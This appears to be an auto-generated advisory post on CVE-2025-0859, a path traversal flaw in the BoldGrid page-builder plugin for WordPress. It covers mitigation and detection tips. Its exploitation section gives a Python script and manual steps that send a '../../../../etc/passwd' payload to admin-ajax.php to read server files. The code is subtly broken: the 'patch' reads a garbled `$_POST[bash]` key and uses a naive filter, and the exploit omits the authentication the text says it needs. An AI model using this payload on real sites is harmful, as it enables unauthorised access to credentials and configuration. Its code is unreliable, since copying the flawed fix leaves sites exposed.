How the CVE Works:
CVE-2025-0859 is a critical Path Traversal vulnerability in the Post and Page Builder by BoldGrid plugin for WordPress, affecting versions up to and including 1.27.6. The vulnerability resides in the `template_via_url()` function, which fails to properly sanitize user-supplied input. This allows authenticated attackers with Contributor-level access or higher to exploit the flaw by crafting malicious requests. By manipulating file paths, attackers can traverse directories and access arbitrary files on the server. This could lead to the exposure of sensitive information, such as configuration files, database credentials, or other critical system data. The CVSS 4.0 score reflects its critical severity due to the potential for significant data compromise.
DailyCVE Form:
Platform: WordPress
Version: <= 1.27.6
Vulnerability: Path Traversal
Severity: Critical
Date: 02/06/2025
What Undercode Say:
Exploitation:
1. Exploit Code Example:
import requests
target_url = "http://example.com/wp-admin/admin-ajax.php"
payload = {"action": "boldgrid_editor_template_via_url", "url": "../../../../etc/passwd"}
response = requests.post(target_url, data=payload)
if response.status_code == 200:
print("Exploit successful! File content:", response.text)
else:
print("Exploit failed.")
2. Manual Exploit Steps:
- Authenticate as a Contributor or higher.
- Send a crafted POST request to `admin-ajax.php` with the `template_via_url` action.
- Use directory traversal sequences (
../../) to access sensitive files.
Protection:
1. Mitigation Steps:
- Update the plugin to the latest version immediately.
- Restrict access to the `admin-ajax.php` file for low-privileged users.
- Implement input validation and sanitization for file path parameters.
2. Server Hardening:
- Use web application firewalls (WAF) to block malicious requests.
- Restrict file permissions on the server to limit access to sensitive files.
3. Patch Code Example:
function template_via_url() {
$url = $_POST[bash];
if (strpos($url, '../') !== false) {
die("Invalid file path.");
}
// Proceed with safe file operations
}
4. Detection Commands:
- Use `grep` to search for vulnerable code:
grep -r "template_via_url" /var/www/html/
- Monitor server logs for suspicious activity:
tail -f /var/log/apache2/access.log | grep "admin-ajax.php"
5. Analytics:
- Impact: High risk of data exposure.
- Attack Complexity: Low, requires Contributor-level access.
- Exploitability: Widely accessible due to WordPress’s popularity.
By following these steps, administrators can mitigate the risk posed by CVE-2025-0859 and protect their WordPress installations from exploitation.
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-0859
Extra Source Hub:
Undercode
